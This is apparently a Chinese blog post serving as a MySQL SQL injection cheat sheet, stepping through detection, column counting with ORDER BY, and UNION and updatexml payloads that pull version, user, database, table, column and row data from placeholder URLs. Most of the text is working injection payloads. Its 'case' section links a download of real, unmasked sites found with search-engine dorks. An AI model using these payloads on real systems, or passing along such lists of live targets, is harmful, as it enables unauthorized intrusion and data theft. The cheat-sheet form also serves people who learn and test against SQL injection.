1.判断是否存在注入
2.注释符
3.表字段数
4.判断数据库版本及服务信息
5.查询数据库
6.案例
7.参考
1.判断是否存在注入(常用)
' / and or
2.注释符
# 字符从行尾 -- (注意--后面有一个空格) /* */ 结束序列不一定在同一行中,因此该语法允许注释跨越多行。
3.表字段数
通常使用“order by N”,通过不断变换N的值,至刚好返回正常的网页,可得到当前表的字段数。
www.xxxxx.com/test?id=12 order by 8-- 正确 www.xxxxx.com/test?id=12 and 1=2 union select 1,2,3,4,5,6,7,8-- 显示2个位置。
4.判断数据库版本及服务信息
www.xxxxx.com/test?id=12 and 1=2 union select 1,version(),3,4,5,6,7,8-- Mysql数据库的版本 www.xxxxx.com/test?id=12+union+select+1,concat(user(),0x20,database(),0x20,version()),3,4,5,6,7,8 -- 数据库用户,数据库名,数据库版本 www.xxxxx.com/test?id=12 and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1) 数据库用户名 MYSQL数据库函数 User() 查看用户 database() --查看数据库名称 Version() --查看数据库版本 @@datadir --数据库路径 @@version_compile_os--操作系统版本 system_user() --系统用户名 current_user()--当前用户名 session_user()--连接数据库的用户名
5.查询数据库
www.xxxxx.com/test?id=12 and 1=2 union select 1,group_concat(distinct table_schema),3,4,5,6,7,8 from information_schema.columns-- 查询当前数据库名 www.xxxxx.com/test?id=12 and 1=2 union select 1,group_concat(distinct table_name),3,4,5,6,7,8 from+information_schema.tables where table_schema=database()-- 查询当前 www.xxxxx.com/test?id=12 and (select * from (select * from test as a join test as b) as c); 在不知道字段的情况下查看当前数据库 数据表名 https://www.bejson.com/convert/ox2str/ 16进制转换工具 www.xxxxx.com/test?id=12 and 1=2 union select 1,group_concat(distinct column_name),3,4,5,6,7,8 from information_schema.columns where table_name=0x 16进制-- 查询字段 www.xxxxx.com/test?id=12 and 1=2 union select 1,group_concat(查询出来的字段),3,4,5,6,7,8 from+downloads -- 查询数据
6.案例
网站是通过谷歌语法找的,没有打码,禁止破坏。。。。
链接: https://pan.baidu.com/s/1boWWQvH 密码: 4phq
7.参考:
k1p4ss.sinaapp.com/?p=108
blog.sycsec.com/?p=1005
www.cnblogs.com/cnsanshao/p/3364600.html
www.sqlinjectionwiki.com/Categories/2/mysql-sql-injection-cheat-sheet/#QuickDetection
www.poluoluo.com/server/201706/547394.html
MYSQL官网文档: https://pan.baidu.com/s/1i5y6cvV 密码: 9wc9
作者:小雨
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论